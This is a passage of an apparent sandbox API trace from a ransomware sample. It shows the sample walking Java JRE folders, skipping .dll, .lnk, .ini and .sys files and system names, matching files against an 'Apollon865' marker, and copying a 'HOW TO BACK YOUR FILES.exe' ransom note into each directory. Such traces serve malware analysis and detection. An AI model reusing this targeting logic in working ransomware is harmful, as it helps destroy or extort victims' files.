	[0055.274] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="cursors.properties" | out: lpString1="cursors.properties") returned="cursors.properties"
	[0055.275] lstrlenW (lpString="cursors.properties") returned 18
	[0055.275] lstrlenW (lpString="Apollon865") returned 10
	[0055.275] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.275] lstrlenW (lpString=".dll") returned 4
	[0055.275] lstrcmpiW (lpString1="cursors.properties", lpString2=".dll") returned 1
	[0055.275] lstrlenW (lpString=".lnk") returned 4
	[0055.275] lstrcmpiW (lpString1="cursors.properties", lpString2=".lnk") returned 1
	[0055.275] lstrlenW (lpString=".ini") returned 4
	[0055.275] lstrcmpiW (lpString1="cursors.properties", lpString2=".ini") returned 1
	[0055.275] lstrlenW (lpString=".sys") returned 4
	[0055.275] lstrcmpiW (lpString1="cursors.properties", lpString2=".sys") returned 1
	[0055.275] lstrlenW (lpString="cursors.properties") returned 18
	[0055.275] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="invalid32x32.gif" | out: lpString1="invalid32x32.gif") returned="invalid32x32.gif"
	[0055.275] lstrlenW (lpString="invalid32x32.gif") returned 16
	[0055.275] lstrlenW (lpString="Apollon865") returned 10
	[0055.275] lstrcmpiW (lpString1="d32x32.gif", lpString2="Apollon865") returned 1
	[0055.275] lstrlenW (lpString=".dll") returned 4
	[0055.275] lstrcmpiW (lpString1="invalid32x32.gif", lpString2=".dll") returned 1
	[0055.275] lstrlenW (lpString=".lnk") returned 4
	[0055.275] lstrcmpiW (lpString1="invalid32x32.gif", lpString2=".lnk") returned 1
	[0055.275] lstrlenW (lpString=".ini") returned 4
	[0055.275] lstrcmpiW (lpString1="invalid32x32.gif", lpString2=".ini") returned 1
	[0055.275] lstrlenW (lpString=".sys") returned 4
	[0055.275] lstrcmpiW (lpString1="invalid32x32.gif", lpString2=".sys") returned 1
	[0055.275] lstrlenW (lpString="invalid32x32.gif") returned 16
	[0055.275] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="win32_CopyDrop32x32.gif" | out: lpString1="win32_CopyDrop32x32.gif") returned="win32_CopyDrop32x32.gif"
	[0055.275] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23
	[0055.275] lstrlenW (lpString="Apollon865") returned 10
	[0055.275] lstrcmpiW (lpString1="p32x32.gif", lpString2="Apollon865") returned 1
	[0055.275] lstrlenW (lpString=".dll") returned 4
	[0055.275] lstrcmpiW (lpString1="win32_CopyDrop32x32.gif", lpString2=".dll") returned 1
	[0055.276] lstrlenW (lpString=".lnk") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_CopyDrop32x32.gif", lpString2=".lnk") returned 1
	[0055.276] lstrlenW (lpString=".ini") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_CopyDrop32x32.gif", lpString2=".ini") returned 1
	[0055.276] lstrlenW (lpString=".sys") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_CopyDrop32x32.gif", lpString2=".sys") returned 1
	[0055.276] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23
	[0055.276] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="win32_CopyNoDrop32x32.gif" | out: lpString1="win32_CopyNoDrop32x32.gif") returned="win32_CopyNoDrop32x32.gif"
	[0055.276] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25
	[0055.276] lstrlenW (lpString="Apollon865") returned 10
	[0055.276] lstrcmpiW (lpString1="p32x32.gif", lpString2="Apollon865") returned 1
	[0055.276] lstrlenW (lpString=".dll") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_CopyNoDrop32x32.gif", lpString2=".dll") returned 1
	[0055.276] lstrlenW (lpString=".lnk") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_CopyNoDrop32x32.gif", lpString2=".lnk") returned 1
	[0055.276] lstrlenW (lpString=".ini") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_CopyNoDrop32x32.gif", lpString2=".ini") returned 1
	[0055.276] lstrlenW (lpString=".sys") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_CopyNoDrop32x32.gif", lpString2=".sys") returned 1
	[0055.276] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25
	[0055.276] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="win32_LinkDrop32x32.gif" | out: lpString1="win32_LinkDrop32x32.gif") returned="win32_LinkDrop32x32.gif"
	[0055.276] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23
	[0055.276] lstrlenW (lpString="Apollon865") returned 10
	[0055.276] lstrcmpiW (lpString1="p32x32.gif", lpString2="Apollon865") returned 1
	[0055.276] lstrlenW (lpString=".dll") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_LinkDrop32x32.gif", lpString2=".dll") returned 1
	[0055.276] lstrlenW (lpString=".lnk") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_LinkDrop32x32.gif", lpString2=".lnk") returned 1
	[0055.276] lstrlenW (lpString=".ini") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_LinkDrop32x32.gif", lpString2=".ini") returned 1
	[0055.276] lstrlenW (lpString=".sys") returned 4
	[0055.276] lstrcmpiW (lpString1="win32_LinkDrop32x32.gif", lpString2=".sys") returned 1
	[0055.277] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23
	[0055.277] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="win32_LinkNoDrop32x32.gif" | out: lpString1="win32_LinkNoDrop32x32.gif") returned="win32_LinkNoDrop32x32.gif"
	[0055.277] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25
	[0055.277] lstrlenW (lpString="Apollon865") returned 10
	[0055.277] lstrcmpiW (lpString1="p32x32.gif", lpString2="Apollon865") returned 1
	[0055.277] lstrlenW (lpString=".dll") returned 4
	[0055.277] lstrcmpiW (lpString1="win32_LinkNoDrop32x32.gif", lpString2=".dll") returned 1
	[0055.277] lstrlenW (lpString=".lnk") returned 4
	[0055.277] lstrcmpiW (lpString1="win32_LinkNoDrop32x32.gif", lpString2=".lnk") returned 1
	[0055.277] lstrlenW (lpString=".ini") returned 4
	[0055.277] lstrcmpiW (lpString1="win32_LinkNoDrop32x32.gif", lpString2=".ini") returned 1
	[0055.277] lstrlenW (lpString=".sys") returned 4
	[0055.277] lstrcmpiW (lpString1="win32_LinkNoDrop32x32.gif", lpString2=".sys") returned 1
	[0055.277] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25
	[0055.277] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="win32_MoveDrop32x32.gif" | out: lpString1="win32_MoveDrop32x32.gif") returned="win32_MoveDrop32x32.gif"
	[0055.277] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23
	[0055.277] lstrlenW (lpString="Apollon865") returned 10
	[0055.277] lstrcmpiW (lpString1="p32x32.gif", lpString2="Apollon865") returned 1
	[0055.277] lstrlenW (lpString=".dll") returned 4
	[0055.277] lstrcmpiW (lpString1="win32_MoveDrop32x32.gif", lpString2=".dll") returned 1
	[0055.277] lstrlenW (lpString=".lnk") returned 4
	[0055.277] lstrcmpiW (lpString1="win32_MoveDrop32x32.gif", lpString2=".lnk") returned 1
	[0055.277] lstrlenW (lpString=".ini") returned 4
	[0055.277] lstrcmpiW (lpString1="win32_MoveDrop32x32.gif", lpString2=".ini") returned 1
	[0055.277] lstrlenW (lpString=".sys") returned 4
	[0055.277] lstrcmpiW (lpString1="win32_MoveDrop32x32.gif", lpString2=".sys") returned 1
	[0055.277] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23
	[0055.277] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="win32_MoveNoDrop32x32.gif" | out: lpString1="win32_MoveNoDrop32x32.gif") returned="win32_MoveNoDrop32x32.gif"
	[0055.277] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25
	[0055.277] lstrlenW (lpString="Apollon865") returned 10
	[0055.278] lstrcmpiW (lpString1="p32x32.gif", lpString2="Apollon865") returned 1
	[0055.278] lstrlenW (lpString=".dll") returned 4
	[0055.278] lstrcmpiW (lpString1="win32_MoveNoDrop32x32.gif", lpString2=".dll") returned 1
	[0055.278] lstrlenW (lpString=".lnk") returned 4
	[0055.278] lstrcmpiW (lpString1="win32_MoveNoDrop32x32.gif", lpString2=".lnk") returned 1
	[0055.278] lstrlenW (lpString=".ini") returned 4
	[0055.278] lstrcmpiW (lpString1="win32_MoveNoDrop32x32.gif", lpString2=".ini") returned 1
	[0055.278] lstrlenW (lpString=".sys") returned 4
	[0055.278] lstrcmpiW (lpString1="win32_MoveNoDrop32x32.gif", lpString2=".sys") returned 1
	[0055.278] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25
	[0055.278] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386"
	[0055.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598648 | out: hHeap=0x580000) returned 1
	[0055.278] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0055.278] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386") returned 41
	[0055.278] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386"
	[0055.278] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.278] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.283] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.283] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39059b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39059b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.283] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.283] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.284] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.284] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x39059b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39059b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.284] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.284] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.284] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.284] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.284] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39059b90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39059b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.284] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.284] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="Apollon865.txt.exe") returned 1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2=".") returned 1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="..") returned 1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="windows") returned -1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="bootmgr") returned 1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="temp") returned -1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="pagefile.sys") returned -1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="boot") returned 1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="ids.txt") returned 1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="ntuser.dat") returned -1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="perflogs") returned -1
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2="MSBuild") returned -1
	[0055.284] lstrlenW (lpString="jvm.cfg") returned 7
	[0055.284] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*") returned 43
	[0055.284] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="jvm.cfg" | out: lpString1="jvm.cfg") returned="jvm.cfg"
	[0055.284] lstrlenW (lpString="jvm.cfg") returned 7
	[0055.284] lstrlenW (lpString="Apollon865") returned 10
	[0055.284] lstrlenW (lpString=".dll") returned 4
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2=".dll") returned 1
	[0055.284] lstrlenW (lpString=".lnk") returned 4
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2=".lnk") returned 1
	[0055.284] lstrlenW (lpString=".ini") returned 4
	[0055.284] lstrcmpiW (lpString1="jvm.cfg", lpString2=".ini") returned 1
	[0055.285] lstrlenW (lpString=".sys") returned 4
	[0055.285] lstrcmpiW (lpString1="jvm.cfg", lpString2=".sys") returned 1
	[0055.285] lstrlenW (lpString="jvm.cfg") returned 7
	[0055.285] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts"
	[0055.285] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5985e8 | out: hHeap=0x580000) returned 1
	[0055.285] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0055.285] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts") returned 42
	[0055.285] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts"
	[0055.285] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.285] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\fonts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.292] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.292] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3907fcf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3907fcf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.292] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.292] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.292] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.292] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3907fcf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3907fcf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.292] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.293] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.293] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.293] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.293] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3907fcf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3907fcf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0055.293] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0055.293] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="Apollon865.txt.exe") returned 1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2=".") returned 1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="..") returned 1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="windows") returned -1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="bootmgr") returned 1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="temp") returned -1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="pagefile.sys") returned -1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="boot") returned 1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="ids.txt") returned 1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="ntuser.dat") returned -1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="perflogs") returned -1
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2="MSBuild") returned -1
	[0055.293] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24
	[0055.293] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*") returned 44
	[0055.293] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LucidaBrightDemiBold.ttf" | out: lpString1="LucidaBrightDemiBold.ttf") returned="LucidaBrightDemiBold.ttf"
	[0055.293] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24
	[0055.293] lstrlenW (lpString="Apollon865") returned 10
	[0055.293] lstrcmpiW (lpString1="miBold.ttf", lpString2="Apollon865") returned 1
	[0055.293] lstrlenW (lpString=".dll") returned 4
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2=".dll") returned 1
	[0055.293] lstrlenW (lpString=".lnk") returned 4
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2=".lnk") returned 1
	[0055.293] lstrlenW (lpString=".ini") returned 4
	[0055.293] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2=".ini") returned 1
	[0055.293] lstrlenW (lpString=".sys") returned 4
	[0055.294] lstrcmpiW (lpString1="LucidaBrightDemiBold.ttf", lpString2=".sys") returned 1
	[0055.294] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24
	[0055.294] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LucidaBrightDemiItalic.ttf" | out: lpString1="LucidaBrightDemiItalic.ttf") returned="LucidaBrightDemiItalic.ttf"
	[0055.294] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26
	[0055.294] lstrlenW (lpString="Apollon865") returned 10
	[0055.294] lstrcmpiW (lpString1="Italic.ttf", lpString2="Apollon865") returned 1
	[0055.294] lstrlenW (lpString=".dll") returned 4
	[0055.294] lstrcmpiW (lpString1="LucidaBrightDemiItalic.ttf", lpString2=".dll") returned 1
	[0055.294] lstrlenW (lpString=".lnk") returned 4
	[0055.294] lstrcmpiW (lpString1="LucidaBrightDemiItalic.ttf", lpString2=".lnk") returned 1
	[0055.294] lstrlenW (lpString=".ini") returned 4
	[0055.294] lstrcmpiW (lpString1="LucidaBrightDemiItalic.ttf", lpString2=".ini") returned 1
	[0055.294] lstrlenW (lpString=".sys") returned 4
	[0055.294] lstrcmpiW (lpString1="LucidaBrightDemiItalic.ttf", lpString2=".sys") returned 1
	[0055.294] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26
	[0055.294] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LucidaBrightItalic.ttf" | out: lpString1="LucidaBrightItalic.ttf") returned="LucidaBrightItalic.ttf"
	[0055.294] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22
	[0055.294] lstrlenW (lpString="Apollon865") returned 10
	[0055.294] lstrcmpiW (lpString1="Italic.ttf", lpString2="Apollon865") returned 1
	[0055.294] lstrlenW (lpString=".dll") returned 4
	[0055.294] lstrcmpiW (lpString1="LucidaBrightItalic.ttf", lpString2=".dll") returned 1
	[0055.294] lstrlenW (lpString=".lnk") returned 4
	[0055.294] lstrcmpiW (lpString1="LucidaBrightItalic.ttf", lpString2=".lnk") returned 1
	[0055.294] lstrlenW (lpString=".ini") returned 4
	[0055.294] lstrcmpiW (lpString1="LucidaBrightItalic.ttf", lpString2=".ini") returned 1
	[0055.294] lstrlenW (lpString=".sys") returned 4
	[0055.294] lstrcmpiW (lpString1="LucidaBrightItalic.ttf", lpString2=".sys") returned 1
	[0055.294] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22
	[0055.294] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LucidaBrightRegular.ttf" | out: lpString1="LucidaBrightRegular.ttf") returned="LucidaBrightRegular.ttf"
	[0055.295] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23
	[0055.295] lstrlenW (lpString="Apollon865") returned 10
	[0055.295] lstrcmpiW (lpString1="egular.ttf", lpString2="Apollon865") returned 1
	[0055.295] lstrlenW (lpString=".dll") returned 4
	[0055.295] lstrcmpiW (lpString1="LucidaBrightRegular.ttf", lpString2=".dll") returned 1
	[0055.295] lstrlenW (lpString=".lnk") returned 4
	[0055.295] lstrcmpiW (lpString1="LucidaBrightRegular.ttf", lpString2=".lnk") returned 1
	[0055.295] lstrlenW (lpString=".ini") returned 4
	[0055.295] lstrcmpiW (lpString1="LucidaBrightRegular.ttf", lpString2=".ini") returned 1
	[0055.295] lstrlenW (lpString=".sys") returned 4
	[0055.295] lstrcmpiW (lpString1="LucidaBrightRegular.ttf", lpString2=".sys") returned 1
	[0055.295] lstrlenW (lpString="LucidaBrightRegular.ttf") returned 23
	[0055.295] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LucidaSansDemiBold.ttf" | out: lpString1="LucidaSansDemiBold.ttf") returned="LucidaSansDemiBold.ttf"
	[0055.295] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22
	[0055.295] lstrlenW (lpString="Apollon865") returned 10
	[0055.295] lstrcmpiW (lpString1="miBold.ttf", lpString2="Apollon865") returned 1
	[0055.295] lstrlenW (lpString=".dll") returned 4
	[0055.295] lstrcmpiW (lpString1="LucidaSansDemiBold.ttf", lpString2=".dll") returned 1
	[0055.295] lstrlenW (lpString=".lnk") returned 4
	[0055.295] lstrcmpiW (lpString1="LucidaSansDemiBold.ttf", lpString2=".lnk") returned 1
	[0055.295] lstrlenW (lpString=".ini") returned 4
	[0055.295] lstrcmpiW (lpString1="LucidaSansDemiBold.ttf", lpString2=".ini") returned 1
	[0055.295] lstrlenW (lpString=".sys") returned 4
	[0055.295] lstrcmpiW (lpString1="LucidaSansDemiBold.ttf", lpString2=".sys") returned 1
	[0055.295] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22
	[0055.295] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LucidaSansRegular.ttf" | out: lpString1="LucidaSansRegular.ttf") returned="LucidaSansRegular.ttf"
	[0055.295] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21
	[0055.295] lstrlenW (lpString="Apollon865") returned 10
	[0055.295] lstrcmpiW (lpString1="egular.ttf", lpString2="Apollon865") returned 1
	[0055.295] lstrlenW (lpString=".dll") returned 4
	[0055.295] lstrcmpiW (lpString1="LucidaSansRegular.ttf", lpString2=".dll") returned 1
	[0055.295] lstrlenW (lpString=".lnk") returned 4
	[0055.296] lstrcmpiW (lpString1="LucidaSansRegular.ttf", lpString2=".lnk") returned 1
	[0055.296] lstrlenW (lpString=".ini") returned 4
	[0055.296] lstrcmpiW (lpString1="LucidaSansRegular.ttf", lpString2=".ini") returned 1
	[0055.296] lstrlenW (lpString=".sys") returned 4
	[0055.296] lstrcmpiW (lpString1="LucidaSansRegular.ttf", lpString2=".sys") returned 1
	[0055.296] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21
	[0055.296] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="LucidaTypewriterBold.ttf" | out: lpString1="LucidaTypewriterBold.ttf") returned="LucidaTypewriterBold.ttf"
	[0055.296] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24
	[0055.296] lstrlenW (lpString="Apollon865") returned 10
	[0055.296] lstrcmpiW (lpString1="erBold.ttf", lpString2="Apollon865") returned 1
	[0055.296] lstrlenW (lpString=".dll") returned 4
